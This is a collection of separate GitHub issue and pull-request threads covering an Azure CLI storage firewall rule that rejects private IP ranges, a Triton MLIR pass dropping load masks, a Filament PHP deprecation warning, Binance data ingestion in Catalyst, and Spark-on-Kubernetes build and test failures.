Add network rule az storage account network-rule add --account-name my2345teststorageaccount --resource-group my-test-resource-group --ip-address <IP_ADDRESS>/8

Received the following:
Values for request parameters are invalid: networkAcls.ipRule[*].value.
Expected behavior
A clear and concise description of what you expected to happen.
Network rule successfully created.
Environment summary
Install Method (e.g. pip, interactive script, apt-get, Docker, MSI, edge build) / CLI version (az --version) / OS version / Shell Type (e.g. bash, cmd.exe, Bash on Windows)
Homebrew / 2.0.46 / MacOS Sierra / ITerm2.
$ az --version
azure-cli (2.0.46)

acr (2.1.5)
acs (2.3.4)
advisor (0.6.0)
ams (0.2.3)
appservice (0.2.4)
backup (1.2.1)
batch (3.4.0)
batchai (0.4.3)
billing (0.2.0)
botservice (0.1.1)
cdn (0.1.1)
cloud (2.1.0)
cognitiveservices (0.2.3)
command-modules-nspkg (2.0.2)
configure (2.0.18)
consumption (0.4.0)
container (0.3.4)
core (2.0.46)
cosmosdb (0.2.1)
dla (0.2.3)
dls (0.1.3)
dms (0.1.1)
eventgrid (0.2.0)
eventhubs (0.2.4)
extension (0.2.1)
feedback (2.1.4)
find (0.2.12)
interactive (0.3.30)
iot (0.3.2)
iotcentral (0.1.2)
keyvault (2.2.3)
lab (0.1.1)
maps (0.3.2)
monitor (0.2.3)
network (2.2.5)
nspkg (3.0.3)
policyinsights (0.1.0)
profile (2.1.1)
rdbms (0.3.2)
redis (0.3.2)
relay (0.1.2)
reservations (0.4.0)
resource (2.1.4)
role (2.1.5)
search (0.1.1)
servicebus (0.2.3)
servicefabric (0.1.3)
signalr (1.0.0)
sql (2.1.4)
storage (2.2.2)
telemetry (1.0.0)
vm (2.2.3)

Python location '/usr/local/opt/python/bin/python3.7'
Extensions directory '/Users/owen/.azure/cliextensions'

Python (Darwin) 3.7.0 (default, Jun 29 2018, 20:14:27)
[Clang 9.0.0 (clang-9<IP_ADDRESS>)]

Legal docs and information: aka.ms/AzureCliLegal

Additional context
I've tried other IP addresses, both single IPs and in CIDR format.

Thanks. I realized my mistake a few minutes ago with the reserved IP. This works fine when you don't try variations of 10.*.

Had the same issue with /31 and /32 addresses. In the portal it said that prefix must be <= 30. Strange thing is that this works for keyvault.

/32 makes some sense at least, but I'm baffled as to the /31 - why isn't that allowed?

I don't understand why this doesn't work...if I were trying to grant access to an on premises resource, it will likely have an IP one of the private IP spaces.
I'm asking, because I'm running into the same issue with Key Vault right now.

I were trying to grant access to an on premises re

Hi @creadle, could you please create a new issue with debug information in your description to help us figure out what happened?
And I am thinking if your premises resource has private connection enabled.

I am trying to add <IP_ADDRESS>/24 to keyvault firewall but i am also getting an error
Invalid value found at properties.networkAcls.ipRules[3].value: <IP_ADDRESS>/24 belongs to forbidden range <IP_ADDRESS>–<IP_ADDRESS> (private IP addresses).
Please note that I was using this cidr for an NIC/VM and I have just deleted it so it must be free to use now.

I got the same error from the portal using a 47.x.x.x IP address.
However, the setting actually saved despite the Portal error. I've never seen that in Azure before :)


[triton-mlir] The TritonToTritonGPU pass lost mask operand in load op

Hi,
I found a bug in Frontend, the TritonToTritonGPU pass will lose the mask operand of tt.load in conversion.
How to reproduce it?

export MLIR_ENABLE_DUMP=1 to make the MLIR pass manager dump ir after each pass
Run the vecadd test

It should dump the buggy IR:
The right IR produced just before the TritonToTritonGPU pass
// -----// IR Dump After CSE //----- //
module {
  func @kernel_0d1d2d3(%arg0: !tt.ptr<f32> {tt.divisibility = 16 : i32}, %arg1: !tt.ptr<f32> {tt.divisibility = 16 : i32}, %arg2: !tt.ptr<f32> {tt.divisibility = 16 : i32}, %arg3: i32) {
    %c0 = arith.constant 0 : index
    %c127 = arith.constant 127 : index
    %c1 = arith.constant 1 : index
    %c127_i32 = arith.constant 127 : i32
    %c1_i32 = arith.constant 1 : i32
    %0 = tt.get_program_id {axis = 0 : i32} : i32
    %1:3 = scf.for %arg4 = %c0 to %c127 step %c1 iter_args(%arg5 = %arg0, %arg6 = %arg1, %arg7 = %arg2) -> (!tt.ptr<f32>, !tt.ptr<f32>, !tt.ptr<f32>) {
      %2 = arith.muli %0, %c127_i32 : i32
      %3 = tt.make_range {end = 1 : i32, start = 0 : i32} : tensor<1xi32>
      %4 = tt.splat %2 : (i32) -> tensor<1xi32>
      %5 = arith.addi %4, %3 : tensor<1xi32>
      %6 = tt.splat %arg5 : (!tt.ptr<f32>) -> tensor<1x!tt.ptr<f32>>
      %7 = tt.addptr %6, %5 : tensor<1x!tt.ptr<f32>>
      %8 = tt.splat %arg6 : (!tt.ptr<f32>) -> tensor<1x!tt.ptr<f32>>
      %9 = tt.addptr %8, %5 : tensor<1x!tt.ptr<f32>>
      %10 = tt.splat %arg3 : (i32) -> tensor<1xi32>
      %11 = arith.cmpi slt, %5, %10 : tensor<1xi32>
      %12 = tt.load %7, %11 {cache = 1 : i32, evict = 1 : i32, isVolatile = false} : tensor<1xf32>
      %13 = tt.load %9, %11 {cache = 1 : i32, evict = 1 : i32, isVolatile = false} : tensor<1xf32>
      %14 = arith.addf %12, %13 : tensor<1xf32>
      %15 = tt.splat %arg7 : (!tt.ptr<f32>) -> tensor<1x!tt.ptr<f32>>
      %16 = tt.addptr %15, %5 : tensor<1x!tt.ptr<f32>>
      tt.store %16, %14, %11 : tensor<1xf32>
      %17 = tt.addptr %arg5, %c1_i32 : !tt.ptr<f32>
      %18 = tt.addptr %arg6, %c1_i32 : !tt.ptr<f32>
      %19 = tt.addptr %arg7, %c1_i32 : !tt.ptr<f32>
      scf.yield %17, %18, %19 : !tt.ptr<f32>, !tt.ptr<f32>, !tt.ptr<f32>
    }
    return
  }
}

Note that the tt.load ops have mask operands:

%12 = tt.load %7, %11 {cache = 1 : i32, evict = 1 : i32, isVolatile = false} : tensor<1xf32>

The wrong IR produced by ConvertTritonToTritonGPU:
// -----// IR Dump After ConvertTritonToTritonGPU //----- //
#blocked = #triton_gpu.blocked<{sizePerThread = [1], threadsPerWarp = [1], warpsPerCTA = [1], order = [0]}>
module attributes {"triton_gpu.num-warps" = 2 : i32} {
  func @kernel_0d1d2d3(%arg0: !tt.ptr<f32> {tt.divisibility = 16 : i32}, %arg1: !tt.ptr<f32> {tt.divisibility = 16 : i32}, %arg2: !tt.ptr<f32> {tt.divisibility = 16 : i32}, %arg3: i32) {
    %c0 = arith.constant 0 : index
    %c127 = arith.constant 127 : index
    %c1 = arith.constant 1 : index
    %c127_i32 = arith.constant 127 : i32
    %c1_i32 = arith.constant 1 : i32
    %0 = tt.get_program_id {axis = 0 : i32} : i32
    %1:3 = scf.for %arg4 = %c0 to %c127 step %c1 iter_args(%arg5 = %arg0, %arg6 = %arg1, %arg7 = %arg2) -> (!tt.ptr<f32>, !tt.ptr<f32>, !tt.ptr<f32>) {
      %2 = arith.muli %0, %c127_i32 : i32
      %3 = tt.make_range {end = 1 : i32, start = 0 : i32} : tensor<1xi32, #blocked>
      %4 = tt.splat %2 : (i32) -> tensor<1xi32, #blocked>
      %5 = arith.addi %4, %3 : tensor<1xi32, #blocked>
      %6 = tt.splat %arg5 : (!tt.ptr<f32>) -> tensor<1x!tt.ptr<f32>, #blocked>
      %7 = tt.addptr %6, %5 : tensor<1x!tt.ptr<f32>, #blocked>
      %8 = tt.splat %arg6 : (!tt.ptr<f32>) -> tensor<1x!tt.ptr<f32>, #blocked>
      %9 = tt.addptr %8, %5 : tensor<1x!tt.ptr<f32>, #blocked>
      %10 = tt.splat %arg3 : (i32) -> tensor<1xi32, #blocked>
      %11 = "triton_gpu.cmpi"(%5, %10) {predicate = 2 : i64} : (tensor<1xi32, #blocked>, tensor<1xi32, #blocked>) -> tensor<1xi1, #blocked>
      %12 = tt.load %7 {cache = 1 : i32, evict = 1 : i32, isVolatile = false} : tensor<1xf32, #blocked>
      %13 = tt.load %9 {cache = 1 : i32, evict = 1 : i32, isVolatile = false} : tensor<1xf32, #blocked>
      %14 = arith.addf %12, %13 : tensor<1xf32, #blocked>
      %15 = tt.splat %arg7 : (!tt.ptr<f32>) -> tensor<1x!tt.ptr<f32>, #blocked>
      %16 = tt.addptr %15, %5 : tensor<1x!tt.ptr<f32>, #blocked>
      tt.store %16, %14, %11 : tensor<1xf32, #blocked>
      %17 = tt.addptr %arg5, %c1_i32 : !tt.ptr<f32>
      %18 = tt.addptr %arg6, %c1_i32 : !tt.ptr<f32>
      %19 = tt.addptr %arg7, %c1_i32 : !tt.ptr<f32>
      scf.yield %17, %18, %19 : !tt.ptr<f32>, !tt.ptr<f32>, !tt.ptr<f32>
    }
    return
  }
}

Note the tt.load ops now lost the mask operand:

%12 = tt.load %7 {cache = 1 : i32, evict = 1 : i32, isVolatile = false} : tensor<1xf32, #blocked>

I tried to dig in some details and found the issue might because ArithCmpPattern<arith::CmpIOp, triton::gpu::CmpIOp>, once I deleted the pattern, the load op could get a mask, but I don't know why.
Could you please have a look at this issue?

I don't think ArithCmpPattern<arith::CmpIOp, triton::gpu::CmpIOp> is the root of the issue. The TritonGPU IR is invalid when if we don't convert the original arith.cmpi. (Note that all tensors must have layouts in TritonGPU.)
Took a look at the problem, I think the input IR is ambiguous:

%12 = tt.load %7, %11 {cache = 1 : i32, evict = 1 : i32, isVolatile = false} : tensor<1xf32>
Here, is %11 mask or other?

cc @shintaro-iwasaki Do you remember what does SameVariadicOperandSize (https://github.com/openai/triton/blob/0ebef11c775d829fcf054fc0a6cbfc4f96cc5a53/include/triton/Dialect/Triton/IR/TritonOps.td#L69) mean?

@daadaada https://mlir.llvm.org/docs/OpDefinitions/#variadic-operands
Basically we need SameVariadicOperandSize (or AttrSizedOperandSegments) for an operand that has variadic arguments to make LLVM MLIR happy.

%12 = tt.load %7, %11 {cache = 1 : i32, evict = 1 : i32, isVolatile = false} : tensor<1xf32>>
Here, is %11 mask or other?

If the code is working as intended, the second argument should be mask, and if mask is set, other can be set as the third argument.

tt.load %x: %x is a pointer
tt.load %x, %y: %x is a pointer, and %y is mask
tt.load %x, %y, %z: %x is a pointer, %y is mask, and %z is other

This mapping should not be ambiguous.

Perhaps #775 solves the issue?

I believe #777 fixes the fundamental issue in LoadOp, which I introduced in the past. Sorry for your inconvenience and thanks for reporting an issue! I would appreciate your reviews!
...
Minor point: in the code of @Superjomn, mask seems i32 in Triton-IR:
  %11 = arith.cmpi slt, %5, %10 : tensor<1xi32>
  %12 = tt.load %7, %11 {cache = 1 : i32, evict = 1 : i32, isVolatile = false} : tensor<1xf32>

Is it intended? When it is lowered to triton_gpu.cmpi in TritonGPU-IR, the type becomes i1, so it seems working. I am just curious if this i32 is intended in Triton-IR (and if needed, I am happy to create a patch for it).

Good work.

mask seems i32 in Triton-IR

Yeah, that's a little weird. According to the definition of arith.cmpi,

The cmpi operation is a generic comparison for integer-like types. Its two arguments can be integers, vectors or tensors thereof as long as their types match. The operation produces an i1 for the former case, a vector or a tensor of i1 with the same shape as inputs in the other cases.

It should produce an i1 like the result, an i32 is a little weird.

Thanks you both for looking into this! Yeah, arith.cmpi should return an i1, seems like a bug in the frontend

Close since solved.

The i1 issue I mentioned doesn't seem to exist. Sorry for the false alarm.
In Triton-IR, the form of assembly is : in_type (no out_type) and thus %11 is actually tensor<1xi1> (https://mlir.llvm.org/docs/Dialects/ArithOps/#arithcmpi-mlirarithcmpiop)
// [Triton-IR]
%11 = arith.cmpi slt, %5, %10 : tensor<1xi32>

In TritonGPU-IR, the form of assembly is :in_type1, in_type2 -> out_type, so this is also correct.
%11 = "triton_gpu.cmpi"(%5, %10) {predicate = 2 : i64} : (tensor<1xi32, #blocked>, tensor<1xi32, #blocked>) -> tensor<1xi1, #blocked>

I see, that makes sense. Thanks for the clarification.


Passing null to parameter #1 ($json) of type string is deprecated in Pages/Concerns/HasActions.php on line 52

Package
filament/filament
Package Version
v2.13.7
Laravel Version
v9.17.0
Livewire Version
v2.10.5
PHP Version
PHP 8.1.6
Bug description
I have a resource view page with custom action defined:
protected function getActions(): array
    {
        return [
            Actions\EditAction::make(),
            Action::make('sendOfferEmail')
                ->label('Send Offer')
                ->icon('heroicon-s-mail')
                ->action('sendOfferEmail')
                ->requiresConfirmation(),
        ];
    }

and inside the file I have my custom action method defined, where I do my business logic. When I click the button to trigger the action (after confirmation) I get this deprecation error in my deprecation log:
[2022-06-29 10:03:08] local.WARNING: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /var/www/html/vendor/filament/filament/src/Pages/Concerns/HasActions.php on line 52
Steps to reproduce
Create a custom action with call to your custom method in resource view page
Relevant log output
[2022-06-29 10:03:08] local.WARNING: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /var/www/html/vendor/filament/filament/src/Pages/Concerns/HasActions.php on line 52

Fixed by #2971


Ingesting of data from ccxt exchanges has some errors.

 It only shows that it is finished, no way to know if it has hanged.
It doesn't create the symbols.json in the .catalyst/data/exchanges directory so catalyst run just fails silently. I found this is the reason it fails by looking hopelessly through strace. I am open to better suggestions for debugging. xD
If i copy it from poloniex it calls initialize but then fails cause the symbols are different between the exchanges. This is to be expected but it shows the symbols.json absence is the problem.

Here is how you can reproduce this issue on your machine:
catalyst ingest-exchange -x binance -f daily
Sincerely,
$ whoami

@fredfortier Hey Fred, I know you guys were going full steam at that first Engima release, and bugfixing on Catalyst, but is there an ETA on Binance ingesting? I've been trading on Poloniex this whole time, but running into random issues, and only trading there because it's available for ingesting, would much prefer Binance. Thanks!

Yes, we’re later than expected on this milestone because of the reasons
which you mentioned. But we now have a much bigger team and we are catching
up. We’re just putting the final touches on the branch which includes
Binance data and testing. We’ll release very soon.
On Thu, Feb 15, 2018 at 7:09 AM brinew27<EMAIL_ADDRESS>wrote:

@fredfortier https://github.com/fredfortier Hey Fred, I know you guys
were going full steam at that first Engima release, and bugfixing on
Catalyst, but is there an ETA on Binance ingesting? I've been trading on
Poloniex this whole time, but running into random issues, and only trading
there because it's available for ingesting, would much prefer Binance.
Thanks!
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/enigmampc/catalyst/issues/188#issuecomment-365955401,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABZ-QnFuLlMVm3n3p9_kX1pYgnA9-bGcks5tVEiQgaJpZM4Rs0nw
.

Binance historical data was added at release 0.5.15


Fix pom versions

@cvpatel, any way to cancel the old integration test build and run this one?

@foxish Unfortunately, there is no public way to cancel the build after it starts. If there are multiple commits before the build starts, it should run only one with the latest. For now, I manually cancelled it.

Looks like the latest build ran out of memory in the DistributedSuite?
https://travis-ci.org/apache-spark-on-k8s/spark/jobs/209099308
DistributedSuite:
- task throws not serializable exception
- local-cluster format
- simple groupByKey
- groupByKey where map output sizes exceed maxMbInFlight
- accumulators
- broadcast variables
- repeatedly failing task
Java HotSpot(TM) 64-Bit Server VM warning: INFO: os::commit_memory(0x000000075e500000, 426246144, 0) failed; error='Cannot allocate memory' (errno=12)
#
# There is insufficient memory for the Java Runtime Environment to continue.
# Native memory allocation (mmap) failed to map 426246144 bytes for committing reserved memory.
# An error report file with more information is saved as:
# /home/travis/build/apache-spark-on-k8s/spark/core/hs_err_pid4903.log

This is odd. Maybe a travis issue? I also see:
 dev/lint-java
Using `mvn` from path: /home/ramanathana/Install/apache-maven-3.3.9/bin/mvn
Checkstyle checks failed at following occurrences:
[ERROR] src/main/java/org/apache/spark/unsafe/types/CalendarInterval.java:[255,10] (modifier) RedundantModifier: Redundant 'final' modifier.

I don't think we actually touch that file.

I also see that same linter error when running on branch-2.1-kubernetes.

+1 when the build succeeds.

@mccheah The linter error still seems to exist in a file that we didn't touch. I think that will cause the travis build to fail.

Let's get the build to that point and make sure it's not failing because of something directly related to this change. A build that fails with a complaint about a bad version string would be worth catching, for example.

I see the new Travis unit test build failing for a similar reason:
ExternalShuffleServiceSuite:
- groupByKey without compression
- shuffle non-zero block size
- shuffle serializer
Java HotSpot(TM) 64-Bit Server VM warning: INFO: os::commit_memory(0x0000000742e00000, 17301504, 0) failed; error='Cannot allocate memory' (errno=12)
#
# There is insufficient memory for the Java Runtime Environment to continue.
# Native memory allocation (mmap) failed to map 17301504 bytes for committing reserved memory.
# An error report file with more information is saved as:
# /home/travis/build/apache-spark-on-k8s/spark/core/hs_err_pid4921.log

I don't have much clue why.

Integration test failing due to filenames > 100 chars
http://spark-k8s-jenkins.pepperdata.org:8080/job/PR-spark-k8s-integration-test/56/consoleFull#124214759204b09c7b-0d94-4ce5-8a08-8f343248b3d8
java.lang.RuntimeException: file name 'spark-kubernetes-integration-tests-spark-jobs-helpers_2.11-2.1.0-k8s-support-0.1.0-alpha.1-SNAPSHOT.jar' is too long ( > 100 bytes)
  at org.apache.commons.compress.archivers.tar.TarArchiveOutputStream.handleLongName(TarArchiveOutputStream.java:674)
  at org.apache.commons.compress.archivers.tar.TarArchiveOutputStream.putArchiveEntry(TarArchiveOutputStream.java:275)
  at org.apache.spark.deploy.rest.kubernetes.CompressionUtils$$anonfun$2$$anonfun$apply$2$$anonfun$apply$4$$anonfun$apply$5.apply(CompressionUtils.scala:77)
  at org.apache.spark.deploy.rest.kubernetes.CompressionUtils$$anonfun$2$$anonfun$apply$2$$anonfun$apply$4$$anonfun$apply$5.apply(CompressionUtils.scala:58)
  at scala.collection.mutable.ResizableArray$class.foreach(ResizableArray.scala:59)
  at scala.collection.mutable.ArrayBuffer.foreach(ArrayBuffer.scala:48)
  at org.apache.spark.deploy.rest.kubernetes.CompressionUtils$$anonfun$2$$anonfun$apply$2$$anonfun$apply$4.apply(CompressionUtils.scala:58)
  at org.apache.spark.deploy.rest.kubernetes.CompressionUtils$$anonfun$2$$anonfun$apply$2$$anonfun$apply$4.apply(CompressionUtils.scala:56)
  at org.apache.spark.util.Utils$.tryWithResource(Utils.scala:2494)
  at org.apache.spark.deploy.rest.kubernetes.CompressionUtils$$anonfun$2$$anonfun$apply$2.apply(CompressionUtils.scala:56)
  ...

Looks like we'll need a different version string for the poms. Not sure what to use here - maybe "2.1.0-k8s-0.1.0-SNAPSHOT"?

Does that meet the 100 byte name limit?

Changed the POM string. Integration tests are fine now, but travis is still seeing memory errors. Any ideas @cvpatel @ssuchter

Just retriggered the build, hopefully it's healthy now.

I had seen the resource related failures earlier, especially around changing the included profiles and goals...
Lets see if the retrigger fixes the issue, if it continues to have this type of issues we could investigate having these run via jenkins.

@cvpatel can we increase the memory available to Travis?

The latest Travis build did not see OOM (, which is a good thing). It just saw ExternalShuffleServiceSuite hanging. Maybe it's flaky and we can just blacklist it:
ExternalShuffleServiceSuite:
- groupByKey without compression
- shuffle non-zero block size
- shuffle serializer
- zero sized blocks
- zero sized blocks without kryo
- shuffle on mutable pairs
- sorting on mutable pairs
- cogroup using mutable pairs
- subtract mutable pairs
- sort with Java non serializable class - Kryo
- sort with Java non serializable class - Java
- shuffle with different compression settings (SPARK-3426)
- [SPARK-4085] rerun map stage if reduce stage cannot find its local shuffle file
- metrics for shuffle without aggregation
- metrics for shuffle with aggregation
- multiple simultaneous attempts for one task (SPARK-8029)
No output has been received in the last 10m0s, this potentially indicates a stalled build or something wrong with the build itself.
Check the details on how to adjust your build configuration on: https://docs.travis-ci.com/user/common-build-problems/#Build-times-out-because-no-output-was-received

@mccheah Unfortunately no, we are already running at the largest possible container@ 7.5g. more details
@foxish The second test seems to pass the build but fails the linter for both Java and Scala.

@kimoonkim That's a good idea.
I think we've lost some of the flake fixes which came in after 2.1 in this branch which is forked off the 2.1 release, which is why we might need some more tests to be blacklisted.
As for the linter, it seems to be failing on branch-2.1-kubernetes which is up-to-date with the upstream 2.1 release. Any ideas why this might be happening?

Since the integration test passes, I think we should merge this first and then fix the subsequent travis issues, such as https://github.com/apache-spark-on-k8s/spark/pull/185.
Thoughts @mccheah @cvpatel

I'm ok with this

SGTM.

Ditto. But seems like #185 is failing as well because of memory issues... going to start porting the unit-test to jenkins and see how it behaves there.


Fix helper function error

CheckedFunction's method is_static did not know about the members of CheckedParameter because CheckedParameter was defined after CheckedFunction. Ideally the order would not matter, but this will get the error in the editor to go away for now.

Let's the compiler instead. :)
Doing that in #664


Consider combining FilePath and DirectoryPath

I'm not convinced it's that important to distinguish a file path from a directory path as a type. A path is a file path if you use it as such (and vice-versa). Requiring them to be strongly-types as file vs. directory means it's more complicated and requires casting stings to one or the other instead of using implicit string casting operators. Before making the change, I'd need to audit uses to make sure there aren't cases where we're relying on FilePath vs. DirectoryPath for different logic depending on the type (as opposed to just validating file vs. directory which we can put on the user to only provide files where files are needed).

Merged to master